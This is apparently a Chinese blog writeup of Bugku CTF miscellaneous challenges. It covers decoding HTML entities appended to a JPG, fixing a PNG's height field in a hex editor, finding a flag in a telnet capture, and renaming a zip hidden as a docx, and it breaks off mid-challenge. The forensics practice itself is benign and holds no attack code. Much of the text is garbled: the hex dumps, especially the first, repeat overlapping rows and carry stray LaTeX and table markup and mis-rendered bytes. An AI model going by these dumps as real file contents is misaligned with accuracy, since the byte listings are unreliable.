bugku - 杂项(misc)部分 writeup

原创

 Peithon
 于 2018-06-07 17:10:41 发布
 29609
 收藏 57

 分类专栏:
 BugKu 文章标签:
 图穷匕见 账号被盗了 bugku writeup 想蹭网先解开密码 眼见非实(ISCCCTF)

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/qq_39629343/article/details/80611614

版权

BugKu 专栏收录该内容

9篇文章2订阅

订阅专栏

花了一些时间把bugku中的杂项题整理了一下,记录这些题目的解题思路,尤其是一般杂项中的一些套路

1.签到

扫码

2.这是一张单纯的图片 1.jpg

将图片下载到本地,使用winhex打开图片,在末尾有一组数据信息

 $\${107}; \${101}; \${121}; \${123}; \${121}; \${111}; \${117}; \${32}; \${197}; \${114}; \${101}; \${32}; \${114}; \${105}; \${103}; \${104}; \${116}; \${125}; \${107}; *{107}$

Offset0123456789ABCDEFANSI ASCII0000150015D2AA85015400074005007C29F11FE1 \hat{O}^{*} T0 $)$ ñá00001510BEBDEOF1A36BDE298ECAD74EBB9859CD $\frac{3}{44}$ âñ£kÞ) ŽÊ×N» "YÍ000015201DA6FBB7814824E5666605B6872006C7 $ $ $\frac{1}{4}$. $\frac{1}{4}$ H\$åff ¶‡Ç00001530CBD41E6BE91F08FC0BF86D6BA4433DB6ËÔké ú ømk¤C=¶0000154094BAB25D4195BCBB99A432A38C860061"":]A·½am³¤2£@ta0000155014E08C32A823D735D07C6CF07B7BD7E1àd22"#×5D 1&8(x×á00001560F5F69902EEBB465B98000092C84E5579õõ ^m år $-A^{\circ}$ CA' \dot{A} \dot{A} \dot{A} \dot{A} \dot{A} \dot{A} \dot{A} \dot{A} \dot{A} <t< th=""></t<>
0000150015D2AA85015400074005007C29F11FE1 \hat{O}^{a} T@ $)\tilde{n}$ \hat{a} 00001510BEBDE0F1A36BDE298ECAD74EBB9859CD $3\frac{1}{2}\frac{1}$
00001510BE BD E0 F1 A3 6B DE 298E CA D7 4E BB 98 59 CD $3\frac{1}{1}\frac{1}{2}\frac{1}{1}\frac{1}{2}$
000015201D A6 FB B7 81 48 24 E566 66 05 B6 87 20 06 C7 $ \hat{u} \cdot H\$aff \P‡ C$ 00001530CB D4 1E 6B E9 1F 08 FC0B F8 6D 6B A4 43 3D B6 $E\hat{C}$ ké \hat{u} omk*C=¶0000154094 BA B2 5D 41 95 BC BB99 A4 32 A3 8C 86 00 61"°`]A·u,>**z2fCt a0000155014 E0 8C 32 A8 23 D7 35D0 7C 6C F0 7B 78 D7 E1 $a\hat{C}2^{-} \ddagger s5D 18 \{x \times \hat{a}$ 00001560F5 F6 99 02 EE BB 46 5B98 00 00 92 C8 4E 55 79 $\ddot{O}^{-} \square x \hat{a}^{-} \hat{D} 18 \{x \times \hat{a}$ 000015701C B2 96 51 92 06 58 64E2 B9 1F D9 5B C4 D2 6A $=-Q' Xd\hat{a}^{-} \hat{U} \tilde{A} \hat{O} \hat{D} \hat{O}] L \ddagger 00001580$ 00001580BE 01 97 41 D4 0B 8D 4FC3 F3 9B 49 12 4C 87 11 $\frac{3}{4} -A\hat{O} O\tilde{A} \hat{O} J L \ddagger 00001580$ 12 4A 64 1E 98 21 D0 0E38 41 40 1E B7 A3 69 56Jd "!D 8A@ $\pm iV$ 00001580IA 26 9F 15 86 91 67 059D 9C 43 09 0C 28 15 47 $\tilde{S} \uparrow \uparrow g \propto C$ (G00001580A9 E3 BE 79 27 A9 35 7E8A 28 00 A2 8A 28 00 A2 $\tilde{S} (\circ S (\circ$
00001530CB D4 1E 6B E9 1F 08 FC0B F8 6D 6B A4 43 3D B6 EC ké $u \ omk HC= \P$ 0000154094 BA B2 5D 41 95 BC BB99 A4 32 A3 8C 86 00 61"°°1]A•4 ₁₉ >H2£Cf a0000155014 E0 8C 32 A8 23 D7 35 D0 7C 6C F0 7B 78 D7 E1 $aC2" # 5D 18 {x á}$ 00001560F5 F6 99 02 EE BB 46 5B98 00 00 92 C8 4E 55 79 $öö^{m} i > F[" 'ENUy$ 000015701C B2 96 51 92 06 58 64E2 B9 1F D9 5B C4 D2 6A $^{-}Q' Xda^{2} \dot{U}[\dot{A}\dot{O}j$ 00001580BE 01 97 41 D4 0B 8D 4FC3 F3 9B 49 12 4C 87 11 $\dot{a} -A\hat{O}$ 0000158012 4A 64 1E 98 21 D0 0E38 41 40 1E B7 A3 69 56Jd "!D 8A@ $\pm iV$ 000015801A 26 9F 15 86 91 67 05 9D 9C 43 09 0C 28 15 47 $&\ddot{Y} + g \ occ$ (G00001580A9 E3 BE 79 27 A9 35 7E8A 28 00 A2 8A 28 00 A2 $&\ddot{A} 28 00 \ A2 \$
$\begin{array}{cccccccccccccccccccccccccccccccccccc$
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
$\begin{array}{cccccccccccccccccccccccccccccccccccc$
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
$\begin{array}{cccccccccccccccccccccccccccccccccccc$
00001590 12 4A 64 1E 98 21 D0 0E 38 41 40 1E B7 A3 69 56 Jd<"!Đ 3A@ ·£iV 000015A0 1A 26 9F 15 86 91 67 05 9D 9C 43 09 0C 28 15 47 &Ÿ †`g œC (G 000015B0 A9 E3 BE 79 27 A9 35 7E 8A 28 00 A2 8A 28 00 A2 @ã¾y'@S~Š(¢Š(¢Š(¢Š(°Č))) 000015C0 8A 28 00 A2 8A 28 00 AC 3F 1B D9 41 Š(¢Š(¢Š(°Č))) `Q) 000015D0 A8 F8 37 5D B3 BB 86 5B 79 EC 67 8D 73 b A (Q) `Q)
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
000015B0 A9 E3 BE 79 27 A9 35 7E 8A 28 00 A2 8A 28 00 A2 ©ã¾y'€5~Š(¢Š(¢ 000015C0 8A 28 00 A2 8A 28 00 A2 8A 28 00 A2 8A 28 00 A2 8A 28 00 AC 3F 1B D9 41 Š(¢Š(¢Š(¬? ÙA 000015D0 A8 F8 37 5D B3 BB B8 6B 5B 79 EC 67 8D E7 54 DC "27]³×,k[yìg ¢TÜ 000015E0 62 06 36 1B C0 EE 57 A8 FA 0A 28 A0 0F 9F BC 2D b 6 ÀîW`ú (Ÿ4- 000015F0 F0 EB 5A F1 0F 8A B4 5F 15 A5 90 B0 8B 4B 1A 72 õëZñ Š´_ ¥ ° <k r<="" td=""> 000015F0 C0 EC 50 C0 A2 54 55 TE 00 E1 50 20 b õëZñ Š´_ ¥ °<k r<="" td=""></k></k>
000015C0 8A 28 00 A2 8A 28 00 A2 8A 28 00 A2 8A 28 00 AC 3F 1B D9 41 S(◊S(◊S(◊S(¬? UA 000015D0 A8 F8 37 5D B3 BB 86 6B 5B 79 EC 67 8D E7 54 DC "@7]³»,k[yìg çTÜ 000015E0 62 06 36 1B C0 EE 57 A8 FA 0A 28 A0 0F 9F BC 2D b 6 ÀîW`ú (Ÿ4- 000015F0 F0 EB 5A F1 0F 8A B4 5F 15 A5 90 B0 8B 4B 1A 72 δёZň Š´_¥° <k r<="" td=""></k>
000015D0 A8 F8 37 5D B3 BB B8 6B 5B 79 EC 67 8D E7 54 DC "∅7] ³ »,k[yìg çTU 000015E0 62 06 36 1B C0 EE 57 A8 FA 0A 28 A0 0F 9F BC 2D b 6 ÀîW`ú (Ÿ4- 000015F0 F0 EB 5A F1 0F 8A B4 5F 15 A5 90 B0 8B 4B 1A 72 δĕZñ Š´ ¥ ° <k r<="" td=""></k>
000015E0 62 06 36 1B CO EE 57 A8 FA 0A 28 A0 0F 9F BC 2D b 6 ÅîW`ú (Ÿ4- 000015F0 FO EB 5A F1 0F 8A B4 5F 15 A5 90 B0 8B 4B 1A 72 ðëZñ Š´_ ¥ ° <k r<="" td=""></k>
000015F0 F0 EB 5A F1 0F 8A B4 5F 15 A5 90 B0 8B 4B 1A 72 8ëZñ S´ ¥ ° <k r<="" td=""></k>
00001000 for co region or the origin of rido trians to be octable we used 000
00001600 05 65 FC A9 2E A4 5B 65 7B 92 EI B0 7E 40 D2 26 nue.a[{'a~@0&
00001610 71 F3 18 D4 2D 7D 3B 45 14 00 51 45 14 00 57 9E qó O-};E QE WŽ
00001620 DA 78 3A 2D OF E2 C3 EB FA 54 OD OD BE AF 03 A5 Ux:- âAêúT % ¥
00001630 E7 95 1E E5 33 0F 98 97 FE EE ED AA 43 72 01 57 c 43 ~-b11°Cr W
00001640 1D 64 06 8A 28 03 D0 A8 A2 8A 00 28 A2 8A 00 28 d S(Đ~ S (S
00001650 A2 8A 00 FF 26 23 31 30 37 3B 26 23 31 30 31 3B ◦S ÿ6∰107;e
00001660 26 23 31 32 31 3B 26 23 31 32 33 3B 26 23 31 32 y{
00001670 31 3B 26 23 31 31 31 3B 26 23 31 31 37 3B 26 23 1;ou&#
00001680 33 32 3B 26 23 39 37 3B 26 23 31 31 34 3B 26 23 32;ar&#</td></tr><tr><td>00001690 31 30 31 3B 26 23 33 32 3B 26 23 31 31 34 3B 26 101; r&</td></tr><tr><td>000016A0 23 31 30 35 3B 26 23 31 30 33 3B 26 23 31 30 34 #105;6#103;6#104</td></tr><tr><td>000016B0 3B 26 23 31 31 36 3B 26 23 31 32 35 3B D9 D9 ;t}UU</td></tr><tr><td></td></tr><tr><td></td></tr><tr><td></td></tr><tr><td>https://blog.ogdp.rot/or.20600242</td></tr><tr><td>nttps://brog.csdn.net/dq_59029545</td></tr></tbody></table>

通过工具HTML解码,得到FLAG



3.隐写 2.rar

下载2.rar,解压得到一张图片,首先放在winhex里看看

2.png																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNG IHDR
00000010	00	00	01	F4	00	00	01	Α4	08	06	00	00	00	CB	D6	DF	ô ¤ ËÖß
00000020	8A	00	00	00	09	70	48	59	73	00	00	12	74	00	00	12	Š pHYs t
00000030	74	01	DE	66	1F	78	00	00	A0	4D	69	43	43	50	50	68	t Þf x MiCCPPh
00000040	6F	74	6F	73	68	6F	70	20	49	43	43	20	70	72	6F	66	otoshop ICC prof
00000050	69	6C	65	00	00	78	DA	9D	53	77	58	93	F7	16	3E	DF	ile xÚ SwX"÷>ß
00000060	F7	65	0F	56	42	D8	FO	B1	97	6C	81	00	22	23	AC	80	÷e VBØð±−1 "#¬
00000070	C8	10	59	Α2	10	92	00	61	84	10	12	40	C5	85	88	A0	ÈY¢′a" @Å^
00000080	56	14	15	11	9C	48	55	C4	82	D5	0A	48	9D	88	E2	A 0	V œHUÄ,ÕH^â
00000090	28	B8	67	41	8A	88	5A	8B	55	5C	38	EE	1F	DC	Α7	B5	(,gAŠ^Z <u\8î td="" ܧµ<=""></u\8î>
0A00000	7D	7A	EF	ED	ED	FB	D7	FB	BC	E7	9C	E7	\mathbf{FC}	CE	79	CF	}zïííû×û≒çœçüÎyÏ
000000B0	OF	80	11	12	26	91	E6	A2	6A	00	39	52	85	3C	3A	D8	€ &`æ¢j 9R<:Ø
000000000	1F	8F	4F	48	C4	C9	BD	80	02	15	48	E0	04	20	10	E6	OHÄÉ¥s€ Hà æ
00000D0	CB	C2	67	05	C5	00	00	F0	03	79	78	7E	74	B0	3F	\mathbf{FC}	ËÂg Å ð yx~t°?ü
000000E0	01	AF	6F	00	02	00	70	D5	2E	24	12	C7	E1	FF	83	BA	⊂o pÕ.\$ Çáÿf°
000000F0	50	26	57	00	20	91	00	E0	22	12	E7	0B	01	90	52	00	P&W `à"ç R
00000100	C8	2E	54	C8	14	00	C8	18	00	B0	53	B 3	64	0A	00	94	È.TÈ È °S³d ″
00000110	00	00	6C	79	7C	42	22	00	AA	0D	00	EC	F4	49	3E	05	ly∣B" ª ìôI>
00000120	00	D8	Α9	93	DC	17	00	D8	A2	1C	Α9	08	00	8D	01	00	øc"ü ø¢ c
00000130	99	28	47	24	02	40	BB	00	60	55	81	52	2C	02	C0	C2	™(G\$ @» `U R, ÀÂ
00000140	00	A 0	AC	40	22	2E	04	C0	AE	01	80	59	B6	32	47	02	-@ ". À® €Y¶ 2G
00000150	80	BD	05	00	76	8E	58	90	0F	40	60	00	80	99	42	2C	€¾ vŽX @`€™B,
00000160	CC	00	20	38	02	00	43	1E	13	CD	03	20	4C	03	A 0	30	Ì 8 C Í L O
00000170	D2	BF	E0	Α9	5F	70	85	B8	48	01	00	C0	CB	95	CD	97	Ò¿à©_p…,H ÀË∙Í—
00000180	4B	D2	33	14	B8	95	D0	1A	77	F2	FO	E0	E2	21	E2	C2	KÒ3 ,•Đ wòðàâ!âÂ
00000190	6C	Β1	42	61	17	29	10	66	09	E4	22	9C	97	9B	23	13	l±Ba) f ä"α−>#
000001A0	48	E7	03	4C	CE	0C	00	00	1A	F9	D1	C1	FE	38	ЗF	90	Hç LÎ ùÑÁþ8?
000001B0	E7	E6	E4	E1	E6	66	E7	6C	EF	F4	C5	Α2	FE	6B	FO	6F	çæäáæfçlïôÅ¢þkðo
000001C0	22	3E	21	F1	DF	FE	BC	8C	02	04	00	10	4E	CF	EF	DA	">!ñßþ₄Œ NÏïÚ
000001D0	5F	E5	E5	D6	03	70	C7	01	B0	75	BF	6B	Α9	5B	00	DA	_ååÖ pÇ °u¿k©[Ú
000001E0	56	00	68	DF	F9	5D	33	DB	09	A 0	5A	0A	D0	7A	F9	8B	V hßù]3Û Z Đzù∢
000001F0	79	38	FC	40	1E	9E	A 1	50	C8	3C	1D	1C	0A	0B	0B	ED	y8ü@ž;₽È< í
00000200	25	62	A 1	BD	30	E3	8B	3E	FF	33	E1	6F	E0	8B	7E	F6	₩b;₩0ã<>ÿ3áoà<~ö

89 50 4E 47 PE头是png照片的,就是说没有可能照片中嵌入了Exif信息

在查看PNG文件格式时,IHDR后面的八个字节就是宽高的值

IHDR

文件头数据块IHDR(header chunk): 它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下表所示。

域的名称	字节数	说明
Width	4 bytes	图像宽度,以像素为单位
Height	4 bytes	图像高度,以像素为单位
Bit depth	1 byte	图像深度: 索引彩色图像: 1, 2, 4或8 灰度图像: 1, 2, 4, 8或16 真彩色图像: 8或16
ColorType	1 byte	颜色类型: 0: 灰度图像,1,2,4,8或16 2: 真彩色图像,8或16 3: 索引彩色图像,1,2,4或8 4: 带α通道数据的灰度图像,8或16 6: 带α通道数据的真彩色图像,8或16
Compression method	1 byte	压缩方法(LZ77派生算法)
Filter method	1 byte	滤波器方法
Interlace method	1 byte	隔行扫描方法: 0: 非隔行扫描 1: Adam7(由Adam M. Costello开发的7遍隔行扫描方法)

将图片放在Linux下,发现是打不开的,说明图片被截了

将图片的高改成和宽一样,即将A4改成F4,然后另存为

2.png																	
Offset	0	1	2	3	4	5	6	7	8	9	Α	В	С	D	Е	F	ANSI ASCII
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNG IHDR
00000010	00	00	01	F4	00	00	01	A4	08	06	00	00	00	СВ	D6	DF	Ô ¤ ËÖß
00000020	8A	00	00	00	09	70	48	59	73	00	00	12	74	00	00	12	Š pHYs t
0000030	74	01	DE	66	1F	78	00	00	0A	4D	69	43	43	50	50	68	t Pf x MiCCPPh
00000040	6F	74	6F	73	68	6F	70	20	49	43	43	20	70	72	6F	66	otoshop ICC prof
00000050	69	6C	65	00	00	78	DA	9D	53	77	58	93	F7	16	3E	DF	ile xÚ SwX"÷>ß
00000060	F7	65	0F	56	42	D8	FO	B1	97	6C	81	00	22	23	AC	08	÷e VBØð±−1 "#¬
00000070	C8	10	59	A 2	10	92	00	61	84	10	12	40	C5	85	88	A0	È Y¢ ′а" @Å^
00000080	56	14	15	11	9C	48	55	C4	82	D5	0A	48	9D	88	E2	A 0	V œHUÄ,ÕH ^â
00000090	28	B8	67	41	8A	88	5A	8B	55	5C	38	EE	1F	DC	Α7	B5	(,gAŠ^Z <u\8î td="" ܧµ<=""></u\8î>
0A00000	7D	7A	EF	ED	ED	FB	D7	FB	BC	E7	9C	E7	FC	CE	79	CF	}zïííû×û¼çœçüÎyÏ
000000B0	OF	80	11	12	26	91	E6	A2	6A	00	39	52	85	3C	ЗA	D8	€ &`æ¢j 9R<:Ø
000000000	1F	8F	4F	48	C4	C9	BD	80	02	15	48	E0	04	20	10	E6	OHÄÉ≒€ Hà æ
00000D0	CB	C2	67	05	C5	00	00	FO	03	79	78	7E	74	B0	ЗF	FC	ËÂg Å ð yx~t°?ü
000000E0	01	AF	6F	00	02	00	70	D5	2E	24	12	C7	E1	FF	83	BA	⊂o pÕ.\$ Çáÿf°
000000F0	50	26	57	00	20	91	00	E0	22	12	E7	0B	01	90	52	00	P&W `à"ç R
00000100	C8	2E	54	C8	14	00	C8	18	00	B0	53	B3	64	0A	00	94	È.TÈ È °S³d ″
00000110	00	00	6C	79	7C	42	22	00	AA	0D	00	EC	F4	49	3E	05	ly B" ª ìôI>
00000120	00	D8	Α9	93	DC	17	00	D8	A2	1C	Α9	08	00	8D	01	00	øe"ü ø¢ e
00000130	99	28	47	24	02	40	BB	00	60	55	81	52	2C	02	C0	C2	™(G\$ @» `U R, ÀÂ
00000140	00	A 0	AC	40	22	2E	04	C0	AE	01	80	59	B6	32	47	02	@". À& €Y¶2G
00000150	80	BD	05	00	76	8E	58	90	OF	40	60	00	80	99	42	2C	€¾ vŽX @`€™B,
00000160	CC	00	20	38	02	00	43	1E	13	CD	03	20	4C	03	AO	30	Ì 8 C Í L O
00000170	D2	BF	E0	Α9	5F	70	85	B8	48	01	00	C0	СВ	95	CD	97	Ò¿à©_p…,H ÀË∙Í—
00000180	4B	D2	33	14	B8	95	D0	1A	77	F2	FO	E0	E2	21	E2	C2	KÓ3 .•Ð wòðàâ!âÄ
00000190	6C	Β1	42	61	17	29	10	66	09	E4	22	9C	97	9B	23	13	l±Ba) f ä"α−>#
000001A0	48	E7	03	4C	CE	0C	00	00	1A	F9	D1	C1	FE	38	ЗF	90	Hç LÎ ùÑÁþ8?
000001B0	E7	E6	Ε4	E1	E6	66	E7	6C	EF	F4	C5	Α2	FE	6B	FO	6F	çæäáæfçlïôÅ¢þkðo
000001C0	22	3E	21	Fl	DF	FE	BC	8C	02	04	00	10	4E	CF	EF	DA	">!ñßþ₄Œ NÏïÚ
000001D0	5F	E5	E5	D6	03	70	C7	01	B0	75	BF	6B	Α9	5B	00	DA	_ååÖpǰu¿k©[Ú
000001E0	56	00	68	DF	F9	5D	33	DB	09	A 0	5A	0A	D0	7A	F9	8B	V h&ù]3Û Z Đzù‹
000001F0	79	38	FC	40	1E	9E	A 1	50	C8	3C	1D	10	ΔO	0B	0B	ED	y8ü@ ž;PĖ< í
00000200	25	62	A 1	BD	30	E3	8B	3E	FF	33	E1/	6F	E0	8B	7E	F6	\$b;#0ã<>ÿ3åoã<~0

打开刚存的图片就可以得到FLAG了

4.telnet 1.zip

将1.zip下载解压得到一个流量包文件,放到Wireshark中走一遍,因为提示的是telnet,所以使用规则显示telnet的包,然后追踪tcp 流

	networking.pcap										_		×
文	:件(E) 编辑(E) 视图(⊻)	跳转(<u>G</u>) 捕获(<u>C</u>) 分析(<u>A</u>) 统计(<u>S</u>) 电	话(Y) 无线(W)	工具(I)	帮助(<u>H</u>)							
	(🔳 🧟 🛞 📙 🛅 🗙	। 🔁 🗢 🗢 😫 👔	₺ 📃 🗏 🍳	Q. Q. 🏨									
	telnet		1							×		表达式…	+
No	Time	Source	Destinati	on		Protocol	Length	Info					^
	4 0.07800	103 168 331 138	102 169	2.221.164		TELNET	75	Telnet	Data				
	6 4.50840	你吃/蚁屑你吃 万姐(M)	Ctri+IVI	.221.128		TELNET	66	Telnet	Data				
	7 4.55520	忽略/取消忽略 分组(!)	Ctrl+D	.221.164		TELNET	57	Telnet	Data				
	8 4.57080	设置/取消设置 时间参考	Ctrl+T	.221.128		TELNET	66	Telnet	Data				
	9 4.64880	时间平移	Ctrl+Shift+T	.221.164		TELNET	63	Telnet	Data				
	10 4.64880	分组注释	Ctrl+Alt+C	.221.128		TELNET	72	Telnet	Data				
	11 4.72680			.221.164		TELNET	71	Telnet	Data			\sim	
	12 4.75800	编辑解析的名称		.221.164		TELNET	60	Telnet	Data			点击右	键
	13 4.78920	作为讨演器应用	•	.221.164		TELNET	65	Telnet	Data				
	15 4.83600	准备计准器	•	.221.128		TELNET	63	Telnet	Data				
	16 4.89840		,	.221.164		TELNET	57	Telnet	Data				
	17 4.92960	刘话过滤器		.221.164		TELNET	57	Telnet	Data				
	18 4.96080	灯话着色	•	.221.164		TELNET	57	Telnet	Data				
	20 4.99200	SCTP	•	.221.128		TELNET	74	Telnet	Data				
	22 5.02320	追踪流	•	.221.128		TELNET	90	Telnet	Data				
	24 16.1148	信判	追踪TCP流	.221.164		TELNET	55	Telnet	Data				
	25 16.1304		×========	.221.128		TELNET	60	Telnet	Data				
	27 16.4112	<mark>协议首选项</mark>	+	.221.164		TELNET	55	Telnet	Data				
	28 16.4112	解码为(<u>A</u>)		.221.128		TELNET	60	Telnet	Data				
	30 16.5048	在新窗口显示分组(W)		.221.164		TELNET	55	Telnet	Data				
	31 16.504829	192.168.221.164	192.168	3.221.128		TELNET	60	Telnet	Data				
	33 16.785629	192.168.221.128	192.168	3.221.164		TELNET	55	Telnet	Data				
-			75 1 1			TELNET		T 1 .	<u> </u>				
2	Frame 4: 75 bytes	on wire (600 bits)	, 75 bytes ca	aptured (600	bits)	26 7 0	(00.0	20.20					<u></u>
2	Ethernet II, Src:	vmware_84:86:51 (00	0:00:29:84:80	D:51), UST:	vmware_	_20:/e:00	= (00:0	C:29:26	:/e:0	2)			
2	Internet Protocol	version 4, Src: 19.	2.168.221.128	s, Ust: 192.	108.221	1.164		24					
2	Transmission Contr	roi protocol, Src Po	ort: 1146, D	st Port: 23,	Seq: 1	L, АСК: :	I, Len:	21					
0	000 00 0c 29 26 76	e Øe ØØ Øc 29 84 80	6 5f 08 00 4	5 00 · ·)&~).	· ··E·							^
				,u	/		https	://blo	g. cs	dn. net,	/ <u>qq_</u>	39629	<u>343</u> ¥
	🕖 🗹 networking. pcap						分组:	59 ・ 已気	彭示: 36	(61.0%)	Profi	le: Defa	ult .

在tcp流中就能直接看到flag



[×

<pre></pre>	
<pre>12.04.2 LT5 hockeyinjune-virtual-machine login: ccssaaww Password: flag{d31^ 5 281b 25d6 pe6 4973} Login incorrect hockeyinjune-virtual-machine login:^C </pre>	
<pre>hockeyinjune-virtual-machine login: ccssaaww Password: flag{d31^ 5 281b 25d6 pe6 4971} Login incorrect hockeyinjune-virtual-machine login:^C </pre>	12.04.2 LTS
<pre>Password: flag{d31^ 3 281b 25d6 be6 497; } Login incorrect hockeyinjune-virtual-machine login:^C </pre>	hockeviniune-virtual-machine login: ccssaaww
<pre>Password: flag{d31 281b 25d6 e6 4972 } Login incorrect hockeyinjune-virtual-machine login:^C </pre>	
Login incorrect hockeyinjune-virtual-machine login: . ^C https://blog.csdn.net/qq_3962934	Password: flag{d310 5 281b 25d6 be6 4971 }
https://blog.csdn.net/qq_3962934	Login incorrect hockeyinjune-virtual-machine login: . ^C
https://blog.csdn.net/qq_3962934	
	https://blog.csdn.net/qq_3962934

5.眼见非实(ISCCCTF) zip

下载下来是一个文件的格式,放到winhex中,发现有 50 4B 03 04 这是压缩文件的头,还有 .docx 格式文件,应该压缩包里有一 个文档,改文件后缀为 .zip ,解压得到文档

zip		
Offset	0 1 2 3 4 5 6 7 8 9 A B C D E F ANSI ASCII	\wedge
00000000	50 4B 03 04 14 00 00 00 08 00 1A 80 87 49 5C DC PK €≠I\Ü	
00000010	E4 DA 04 28 00 00 AC 36 00 00 0D 00 00 00 D1 DB <mark>aú (6</mark> ÑÛ	
00000020	BC FB B7 C7 CA B5 2E 64 6F 63 78 9D 7A 05 40 15 4û Çʵ.docx z @	
00000030	DB F7 F5 25 25 25 25 A5 BB A4 BB A5 BB BB BB E1 Ü÷õ%%%%¥≫×¥»≫á	
00000040	22 1D 92 D2 8A 74 09 48 77 4A 77 77 87 74 8A 💋 "'ÒŠt HwJww‡tŠ€	
00000050	34 D2 82 C0 87 BE E7 7B 80 FA 7E FE BF CB B9 77 4Ò,À‡¾ç{€ú~þ;˹w	
00000060	CF 65 CE 9C B3 EE DA 7B CF 9C 3D B3 64 25 CÓ CO ÏeΜ³ûÚ{Ïœ=³d%ÀÀ	
00000070	61 00 DF 5E 1F F0 11 C4 00 B7 5E D0 00 34 C0 C8 a B^ ð Ä ·^Ð 4ÀÈ	
00000080	6C FD 45 55 57 6F 05 AD 03 10 19 00 82 19 9E D1 1ýEUWo - , žÑ	
00000090	B2 9E 58 FF 29 DB 7B 23 29 79 B5 28 99 56 F6 9F ⁴žXÿ)Û{#)yµ(™VöŸ	
000000 A 0	83 5B EE 1D 8C 02 C0 FF F7 60 03 07 3B 7B 1B 2B f[î @ Àÿ÷` ;{ +	
000000B0	55 2B CB 9B 61 1E 03 40 9E CF 78 17 DF 19 E6 DF U+Ë>a @žÏx ß æß	
000000000	FD DF 06 44 BD 39 1C EA E6 4D 00 60 36 C2 50 4D ýß D∺9 êæM `6ÂPM	
00000D0	BA D9 BA BA 79 3F 06 50 FC 6A 40 33 7B 23 2B FA °Ù°°y? Püj@3{#+ú	
000000E0	27 CE 56 96 0E 40 12 00 48 62 00 13 D2 6F 46 FE 'ÎV- @ Hb ÒoFþ	
000000F0	A7 63 E1 90 14 8C 2F 1D A2 FF F2 F3 54 27 28 76 §cá Œ/ ¢ÿòóT'(v	
00000100	AF F0 27 9A 81 30 4F E7 27 9E A6 E4 5B 47 B0 25 8'š 00ç'ž¦ä[G°%	
00000110	F0 79 10 63 F2 DB 2C E2 67 92 7D 7A 76 86 AB 1D ðy còÜ,âg'}zvt«	
00000120	27 3C C1 65 29 C7 4F F8 98 9A FC 45 D0 8A 5E 6A ' <ae)çoø~šüeđš^j< th=""><th></th></ae)çoø~šüeđš^j<>	
00000130	E6 DE D5 B4 5D 59 3A 2E A9 2F E9 99 6D F2 2B 9F æÞÖ′]Y:.©/é™mò+Ÿ	
00000140	11 8D 95 D4 A9 C8 CC 8F 2F 10 96 19 06 63 22 D0 •OCEI / - c"Đ	
00000150	DB A3 F4 24 A8 C4 1D 4D 9E E7 19 49 30 7F 50 67 U£ô\$"A Mžç IO Pg	
00000160	8C 89 82 24 93 47 52 DE 77 79 23 60 OF 7A 88 89 Ct, \$"GRbwy#` z^t	
00000170	8E 36 B8 CF 9D 33 E0 2D E2 48 D5 17 2C 46 54 08 Z6 I 3à-äHO ,FT	
00000180	2D 81 9A CF D3 58 DA 94 51 EB 7F 89 BB 5B 14 8B - SIOXU"Që "** [<	
00000190	70 F7 F7 4B 5C 8E 42 CF DE 6C 29 81 7C FB F6 E4 p÷÷K\ZBIÞ1) ûöä	
000001A0	77 BF 5F F6 99 0D D0 EE 6F 12 28 01 20 9D DC 92 w¿_ö™ Đîo (U'	
000001B0	9F FE 83 84 7F 7B 27 85 F1 5B BC A0 43 F4 DB F3 Ybf, {'ñ[4 CôUó	
00000100	BB 44 60 38 B5 2C CF 57 46 5F 79 97 FF E8 44 BD »D`8µ, IWF_y-ÿèD¾	
000001D0	76 D8 82 25 14 8B 2E 88 B8 B4 3C EA EA D4 78 23 v0, \$ < , , < eeOx# 4	
000001E0	D7 6D DB CC D9 26 EE 94 3B 8B C3 3D 87 DD 55 64 ×mUIU&1"; <a=‡yud< th=""><th>V.</th></a=‡yud<>	V.

得到 眼见非实.docx 是打不开的,放到winhex中发现还是zip格式的文件

zip 眼见非	实.d	осх																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F		ANSI ASCII	~
00000000	50	4B	03	04	ΔO	00	00	00	00	00	E2	20	0F	49	00	00	PK	âI	
00000010	00	00	00	00	00	00	00	00	00	00	09	00	16	00	D1	DB		ÑÛ	
00000020	BC	FB	B7	C7	CA	B5	2F	75	70	12	00	01	19	91	Α4	C1	₩û∙Çʵ	ı∕up '¤Á	
00000030	E7	9C	BC	E8	Α7	81	E9	9D	9E	E5	AE	9E	2F	50	4B	03	çœ∿è§	é žå®ž/PK	
00000040	04	0A	00	00	00	00	00	C1	20	OF	49	00	00	00	00	00		ÁΙ	
00000050	00	00	00	00	00	00	00	13	00	20	00	D1	DB	BC	FB	B7		ÑÛ4û ∙	
00000060	C7	CA	B5	2F	63	75	73	74	6F	6D	58	6D	6C	2F	75	70	Çʵ/cu	stomXml/up	
00000070	10	00	01	7D	DA	81	AF	E7	9C	BC	E8	Α7	81	Ε9	9D	9E	}Ú	¯çœ+vè§éž	
00000080	E5	AE	9E	2F	63	75	73	74	6F	6D	58	6D	6C	2F	50	4B	婞/cu	stomXml/PK	
00000090	03	04	14	00	00	00	08	00	00	00	21	00	35	65	18	58		! 5e X	
000000A0	9D	00	00	00	FE	00	00	00	1C	00	29	00	D1	DB	BC	FB	þ) ÑÛ¼û	
000000B0	B7	C7	CA	B5	2F	63	75	73	74	6F	6D	58	6D	6C	2F	69	∙Çʵ/o	customXml/i	
00000000	74	65	6D	31	2E	78	6D	6C	75	70	25	00	01	9C	87	34	teml.	mlup% œ‡4	
00000D0	11	E7	9C	BC	E8	Α7	81	E9	9D	9E	E5	AE	9E	2F	63	75	眥èé	§é žå®ž∕cu	
000000E0	73	74	6F	6D	58	6D	6C	2F	69	74	65	6D	31	2E	78	6D	stomXn	1/item1.xm	
000000F0	6C	AD	CF	4D	0A	83	30	10	86	E1	7D	A 1	77	08	39	80	1-ÏM ƒ	f0 †á};w 9€	
00000100	91	2E	5C	88	A0	42	DD	D6	42	A 0	AB	6E	92	38	9A	40	`.\^ E	3ÝÖB ≪n′8š@	
